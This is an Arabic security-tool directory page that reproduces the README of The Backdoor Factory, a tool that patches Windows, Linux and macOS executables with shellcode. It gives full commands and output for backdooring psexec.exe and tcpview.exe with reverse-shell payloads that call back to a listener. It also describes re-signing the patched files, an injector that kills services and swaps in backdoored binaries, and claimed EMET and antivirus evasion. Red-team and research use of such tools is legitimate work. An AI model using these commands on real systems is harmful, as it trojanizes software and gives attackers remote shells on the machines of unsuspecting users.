Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
the-backdoor-factory — تصحيح ثنائيات PE وELF وMach-O باستخدام الشيلكود — نسخة جديدة قيد التطوير، متاحة للداعمين فقط. | Kitploit
أدوات/GitHubGitHub/secretsquirrel/the-backdoor-factory
الاستغلالالهندسة العكسيةشيل كودما بعد الاستغلالتحليل البرمجيات الخبيثةاختبار الاختراقالفريق الأحمرتطوير الحمولاتاستغلال الملفات الثنائية

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHubsecretsquirrel/the-backdoor-factory

the-backdoor-factory

تصحيح ثنائيات PE وELF وMach-O باستخدام الشيلكود — نسخة جديدة قيد التطوير، متاحة للداعمين فقط.

عرض المستودعالموقع الإلكتروني
3.4k774منذ 2 سنواتتمت المراجعة من قبل Kitploit

النسخة الجديدة من BACKDOOR FACTORY متاحة! احصل على الوصول هنا: https://github.com/sponsors/secretsquirrel

تحذير: طلبات السحب (Pull Requests) سيتم تجاهلها وإغلاقها.

The Backdoor Factory (BDF)

للمتخصصين والباحثين في مجال الأمن فقط.

الهدف من BDF هو تصحيح (patch) الملفات التنفيذية الثنائية بشيلكود (shellcode) يريده المستخدم، ثم متابعة التنفيذ الطبيعي للحالة قبل التصحيح.

Join the chat at https://gitter.im/secretsquirrel/the-backdoor-factory Black Hat Arsenal

Black Hat USA 2015:

root@kitploit:~
الفيديو: https://www.youtube.com/watch?v=OuyLzkG16Uk

الورقة: https://www.blackhat.com/docs/us-15/materials/us-15-Pitts-Repurposing-OnionDuke-A-Single-Case-Study-Around-Reusing-Nation-State-Malware-wp.pdf

Shmoocon 2015:

root@kitploit:~
الفيديو: https://archive.org/details/joshpitts_shmoocon2015

الورقة: https://www.dropbox.com/s/te7e35c8xcnyfzb/JoshPitts-UserlandPersistenceOnMacOSX.pdf

DerbyCon 2014:

root@kitploit:~
الفيديو: http://www.youtube.com/watch?v=LjUN9MACaTs

DerbyCon 2013:

root@kitploit:~
الفيديو: http://www.youtube.com/watch?v=jXLb2RNX5xs

عرض وحدة الحقن: http://www.youtube.com/watch?v=04aJAex2o3U

الشرائح: http://www.slideshare.net/midnite_runr/patching-windows-executables-with-the-backdoor-factory

تواصل مع المطوّر عبر:

root@kitploit:~
IRC:
irc.freenode.net #BDFactory 

تويتر:
@midnite_runr

بموجب رخصة BSD ذات البنود الثلاثة

انظر الويكي: https://github.com/secretsquirrel/the-backdoor-factory/wiki


التثبيت

DOCKER

root@kitploit:~
docker pull secretsquirrel/the-backdoor-factory
docker run -it secretsquirrel/the-backdoor-factory bash
# ./backdoor.py

الطريقة التقليدية

التبعيات

#####لاستخدام OnionDuke يجب أن تكون على جهاز بمعمارية Intel لأن aPLib لا يدعم شرائح ARM حتى الآن.

يمكن تثبيت محرك Capstone من PyPi باستخدام:

root@kitploit:~
sudo pip install capstone

Pefile، الأحدث:

root@kitploit:~
https://code.google.com/p/pefile/

osslsigncode (مضمّن في المستودع):

root@kitploit:~
http://sourceforge.net/p/osslsigncode/osslsigncode/ci/master/tree/

التثبيت على Kali:

root@kitploit:~
  apt-get update
  apt-get install backdoor-factory

التثبيت على أنظمة *NIX/MAC الأخرى:

root@kitploit:~
./install.sh

سيقوم هذا بتثبيت Capstone بإصدار 3.01 باستخدام pip، وتثبيت pefile.

التحديث:

root@kitploit:~
./update.sh

الأنظمة المدعومة:

root@kitploit:~
Windows PE x86/x64، ELF x86/x64 (System V, FreeBSD, ARM Little Endian x32)،
وMach-O x86/x64، وتلك الصيغ في ملفات FAT

الملفات المضغوطة: PE UPX x86/x64

تجريبي: OpenBSD x32 

بعض الملفات التنفيذية تحتوي على حمايات مدمجة، وبالتالي لن يعمل هذا على جميع الملفات الثنائية. يُنصح باختبار الملفات الثنائية المستهدفة قبل نشرها للعملاء أو استخدامها في التمارين. أنا على وشك تجاوز NSIS، لذا فإن تجاوز هذه الفحوصات سيُضاف في المستقبل.

root@kitploit:~
الشكر الجزيل لـ Ryan O'Neill --ryan 'at' codeslum <d ot> org--
لولاه، لكنت ما زلت أحاول القيام بأشياء غبية
بصيغة elf.
وشكرًا أيضًا لـ Silvio Cesare على ورقته البحثية الصادرة عام 1998
(http://vxheaven.org/lib/vsc01.html) التي تستند إليها تقنيات تصحيح ELF هذه.

تم اختباره مؤخرًا على العديد من الملفات الثنائية.

./backdoor.py -h Usage: backdoor.py [options]


الميزات:

ملفات PE

root@kitploit:~
يمكنه العثور على جميع فجوات الكود (codecaves) في ملف EXE/DLL.
افتراضيًا، يمسح المؤشر إلى جدول شهادات PE، مما يلغي توقيع الملف الثنائي.
يمكنه حقن الشيلكود في فجوات الكود أو في قسم جديد.
يمكنه معرفة ما إذا كان الملف الثنائي PE يتطلب صلاحيات مرتفعة للتشغيل.
عند اختيار فجوات الكود، يمكنك استخدام الأوامر التالية:
  -Jump (j)، للقفز بين فجوات الكود
  -Single (s)، لتصحيح كل الشيلكود في فجوة واحدة
  -Append (a)، لإنشاء فجوة كود
  -Ignore (i or q)، لا بأس، تجاهل هذا الملف الثنائي
يمكنه تجاهل ملفات DLL
تصحيح جدول الاستيراد
التصحيح التلقائي (-m automtic)
Onionduke (-m onionduke)

ملفات ELF

root@kitploit:~
يوسّع مقطع النص (TEXT SEGMENT) بمقدار 1000 بايت ويحقن الشيلكود في ذلك القسم من الكود.

ملفات Mach-O

root@kitploit:~
تصحيح قسم ما قبل النص وإزالة التوقيع

بشكل عام

root@kitploit:~
يمكن للمستخدم:
  -توفير شيلكود مخصص.
  -تصحيح مجلد من الملفات التنفيذية/ملفات DLL.
  -اختيار تصحيح الملفات الثنائية x32 أو x64 فقط.
  -تضمين BDF في مشاريع بايثون الأخرى، انظر إلى pebin.py وelfbin.py

أمثلة الاستخدام:

تصحيح ملف exe/dll باستخدام فجوة كود موجودة:

root@kitploit:~
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp 

[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 402
[*] All caves lengths:  (402,)
############################################################
The following caves can be used to inject code and possibly
continue execution.
**Don't like what you see? Use jump, single, append, or ignore.**
############################################################
[*] Cave 1 length as int: 402
[*] Available caves:
1. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e4d5 End: 0x2e6d0; Cave Size: 507
2. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e6e9 End: 0x2e8d5; Cave Size: 492
3. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e8e3 End: 0x2ead8; Cave Size: 501
4. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eaf1 End: 0x2ecdd; Cave Size: 492
5. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2ece7 End: 0x2eee0; Cave Size: 505
6. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eef3 End: 0x2f0e5; Cave Size: 498
7. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f0fb End: 0x2f2ea; Cave Size: 495
8. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f2ff End: 0x2f4f8; Cave Size: 505
9. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f571 End: 0x2f7a0; Cave Size: 559
10. Section Name: .rsrc; Section Begin: 0x30600 End: 0x5f200; Cave begin: 0x5b239 End: 0x5b468; Cave Size: 559
**************************************************
[!] Enter your selection: 5
Using selection: 5
[*] Changing Section Flags
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory

تصحيح ملف exe/dll بإضافة قسم كود:

root@kitploit:~
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a 
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Creating Code Cave
- Adding a new section to the exe/dll for shellcode injection
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory

تصحيح مجلد من الملفات التنفيذية:

root@kitploit:~
./backdoor.py -d test/ -i 192.168.0.100 -p 8080 -s reverse_shell_tcp -a
...output too long for README...

شيلكود مقدم من المستخدم:

root@kitploit:~
msfpayload windows/exec CMD='calc.exe' R > calc.bin
./backdoor.py -f psexec.exe -s user_supplied_shellcode -U calc.bin
هذا سيشغّل calc.exe على محطة عمل ويندوز الهدف. مستوى 1337. اختراق عظيم. واو.

توقيع كود PE

يمكن لـ BDF توقيع ملفات PE إذا كان لديك شهادة توقيع كود. يستخدم osslsigncode. ضع شهادة التوقيع والمفتاح الخاص في مجلد certs/. جهّز شهاداتك باستخدام أوامر openssl من منشور المدونة هذا: http://secureallthethings.blogspot.com/2015/12/add-pe-code-signing-to-backdoor-factory.html

ضع كلمة مرور مفتاحك الخاص في ملف (أجل، فعلاً) كما يلي (بالضبط هكذا):

root@kitploit:~
echo -n yourpassword > certs/passFile.txt

سمِّ شهاداتك بالضبط كما يلي:

root@kitploit:~
signingCert.cer => certs/signingCert.cer
signingPrivateKey.pem => certs/signingPrivateKey.pem

يجب أن يبدو مجلد certs/ بهذا الشكل تمامًا:

root@kitploit:~
certs
├── passFile.txt
├── signingPrivateKey.pem
└── signingCert.cer

فعِّل توقيع كود PE باستخدام العلم -C كما يلي:

root@kitploit:~
 ./backdoor.py -f tcpview.exe -s iat_reverse_tcp_inline -H 172.16.186.1 -P 8080 -m automatic -C

عند التشغيل الناجح يجب أن ترى هذا السطر في مخرجات BDF:

root@kitploit:~
[*] Code Signing Succeeded

البحث والتصييد الخلفي: Injector | لنظام ويندوز فقط

root@kitploit:~
ستبحث وحدة الحقن (injector) عن الملفات التنفيذية الهدف على القرص لتصييدها خلفيًا (backdoor). ستتحقق مما إذا كنت قد حددت الهدف كخدمة، وستفحص ما إذا كانت العملية قيد التشغيل، ثم تقتل العملية و/أو الخدمة، وتحقن الملف التنفيذي بالشيلكود، وتحفظ الملف الأصلي باسم file.exe.old أو لاحقة أخرى من اختيارك، وتحاول إعادة تشغيل العملية أو الخدمة.  
عدّل قاموس بايثون "list_of_targets" في وحدة 'injector' لتحديد الأهداف التي تختارها.

./backdoor.py -i -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a -u .moocowwow 

سجل التغييرات

####01/11/2016

  • إصلاح خطأ اقتطاع نقطة الدخول الذي أدى إلى استعادة غير صحيحة في حالات نادرة

####07/04/2016

  • دعم المسارات الديناميكية في BDFProxy للمعالج الأولي (preprocessor)

####06/19/2016

  • إضافة المعالج الأولي وتحسينات أخرى
  • يتيح المعالج الأولي للمستخدم تعديل الملف الثنائي قبل حقن الحمولة
  • استدعِه باستخدام العلم -p
  • انظر الأمثلة في ./preprocessor/

####12/20/2015

  • إضافة مسارات مجلدات إلى BDF للعثور على مجلد الشهادات.

####12/18/2015

  • إضافة دعم توقيع كود PE. يجب عليك توفير شهادة توقيع الكود الخاصة بك. انظر هنا: https://github.com/secretsquirrel/the-backdoor-factory#pecodesigning

####11/17/2015

  • إصلاح خطأ في قسم rsrc لتصحيح OnionDuke وإزالة قيمة إصدار win32 العشوائية في ترويسة PE

####11/13/2015

  • إضافة اقتطاع صحيح لملف PE بعد مسح مؤشر التوقيع في ترويسة PE - أي إلغاء توقيع صحيح. مما أدى إلى دعم أفضل لتصحيح IAT

####10/19/2015

  • إصلاح خطأ في تعيين فجوة دليل IAT كان يسبب تعطل BDF
  • جعل هذه الميزة اختيارية باستخدام العلم -A

####10/13/2015

  • تغيير تعديلات دليل جدول الاستيراد من إضافة قسم جديد إلى استخدام فجوة كود موجودة

####08/12/2015

  • إضافة أسلوب التصحيح 'replace' - نسخ ولصق مباشر للملف الثنائي المقدم

  • مخصص أكثر للاستخدام مع BDFProxy

    Usage: ./backdoor.py -f weee.exe -m replace -b supplied_binary.exe

####08/11/2015

  • إصلاح استقرار لاختيار الفجوات التلقائي في حالات نادرة من تداخل الفجوات

####08/05/2015

  • تحديثات BH USA، w00t!
  • OnionDuke، استخدم -m onionduke * يدعم ملفات exe وdll المقدمة من المستخدم * الاستخدام: ./backdoor.py -f originalfile.exe -m onionduke -b pentest.dll/exe
  • وضع XP = الحمولات السابقة القائمة على IAT لم تكن تدعم XP أو Wine أو Windows 98. إذا كنت بحاجة إلى دعم XP فاستخدم العلم -X. أنا لا أدعم أي إصدار أقدم من XP (وليس XP x64).
  • استدعاء موجه UAC للتشغيل كمسؤول. تجريبي - يعدّل بيان PE (manifest) إذا كان requestedExecutionLevel موجودًا.
  • تحديثات الاستقرار: * إصلاح خطأ في حساب RVA غير الصحيح عند القفز عبر فجوتين أو أكثر من فجوات الكود * فحوصات أفضل لتحديد ما إذا كان قسم جديد لـ IAT سيكتب في البيانات المُلحقة وبالتالي يفشل
  • تحسينات السرعة: * العثور على فجوات الكود بشكل أسرع عند استخدام الوضع التلقائي (-m automatic) * تحليل أسرع لـ rsrc للعثور على ملف البيان

####5/01/2015

  • إصلاح خطأ في حمولة reverse_tcp_stager_threaded عند استخدام حمولة الفجوات المفردة

####4/28/2015

  • إضافة فحص للاستيرادات المرتبطة (ملفات PE ذات الاستيرادات المرتبطة لن يتم تصحيحها)

####4/14/2015

الكثير من التحديثات:

  • تصحيح تلقائي لملفات PE (استخدم -m automatic مع حمولة *_threaded)

  • حمولات IAT جديدة لملفات PE بنسختي x86/x64

  • فقط شاهد: https://www.youtube.com/watch?v=kkLI_ur6BxY

####2/14/2015 أحبكم يا رفاق

  • إضافة تصحيح جدول عناوين الاستيراد (IAT) لملفات PE لدعم حمولات iat_reverse_tcp التي تستخدم جدول الاستيراد لاستدعاءات winAPI. إذا كان الملف الثنائي الذي تصححه لا يحتوي على LoadLibraryA وGetProcAddress، على سبيل المثال، فسيقوم BDF بتصحيح ذلك بإضافة جدول استيراد جديد في قسم جديد. يدعم ملفات PE بنسختي x64/x86.

  • إضافة iat_reverse_tcp لملفات PE بنسخة x64.

  • إصلاحات أخطاء وتحسينات

####1/1/2015

سنة جديدة سعيدة!

حمولتان جديدتان لنظام OS X! حمولة التأخير: delay_reverse_shell_tcp

-B 30 --> يؤخر الحمولة لمدة 30 ثانية، بينما يعمل الكود الرئيسي فورًا.

تثبيت إصدار محدد من capstone للبناء مع BDF؛ مستودع capstone 'Next' يكسر BDF.

إصلاحات لدعم تنفيذ cython الخاص بـ capstone لمشكلة اقتطاع البايت الفارغ (null byte).

####12/27/2014

إضافة payloadtests.py

سيقوم هذا السكربت بإخراج ملفات مصححة في مجلد backdoored، مما يتيح للمستخدم اختبار الحمولات كما يشاء. كل نوع حمولة يزيد رقم المنفذ المستخدم بمقدار واحد.

root@kitploit:~
Usage: payloadtest.py binary HOST PORT

####12/17/2014

حمولات OS X النابضة (Beaconing) لمعماريتي x86 وx64: beaconing_reverse_shell_tcp

-B 15 --> ضبط زمن النبض (beacon) على 15 ثانية

إصلاح خطأ لدعم OS X في BDFProxy

####10/11/2014

إضافة تصحيح PE UPX

####9/26/2014

إضافة دعم Mach-O لمعماريتي x86/x64

تحسين حمولة IAT لمعمارية x86

####7/31/2014

إضافة دعم تصحيح ELF لمعمارية ARM x32 LE

####7/22/2014

إضافة دعم تصحيح ELF لنظام FreeBSD x32

تغيير الترخيص إلى رخصة BSD ذات البنود الثلاثة

####7/13/2014

دمج Capstone: http://www.capstone-engine.org/

أثناء عملية إضافة Capstone، أزلت حوالي 500 سطر من الكود. هذا رائع جدًا.

أعدت تسمية loadliba_reverse_tcp إلى iat_reverse_tcp.

تحسينات صغيرة للسرعة.

####5/30/2014

إضافة شيلكود win86 جديد: loadliba_reverse_tcp

  • استنادًا إلى البحث التالي لـ Jared DeMott: http://bromiumlabs.files.wordpress.com/2014/02/bypassing-emet-4-1.pdf -- شكرًا @bannedit0 لذكره هذا.
  • يستخدم هذا الشيلكود واجهات برمجة التطبيقات LoadLibraryA وGetProcAddress للعثور على جميع واجهات برمجة التطبيقات اللازمة لاتصال TCP عكسي. لا مزيد من البحث عن تجزئة واجهات برمجة التطبيقات لـ Stephen Fewer (والذي لا يزال رائعًا).
  • إنه ليس خفيًا. إنه يعتمد على الموضع. لكن النتائج رائعة (القفز بين فجوات الكود): https://www.virustotal.com/en/file/a31ed901abcacd61a09a84157887fc4a189d3fe3e3573c24e776bac8d5bb8a0f/analysis/1401385796/
  • يتجاوز EMET 4.1. حماية المتصل لا تلتقطه.
  • بناءً على ذلك، سأواصل تطوير هذه الفكرة باستخدام خوارزمية تصحح الملف الثنائي بشيلكود مخصص بناءً على واجهات برمجة التطبيقات الموجودة في IAT. بما في ذلك نقل شيلكودات win86 الحالية إلى هذه الفكرة.
تنزيل الأداة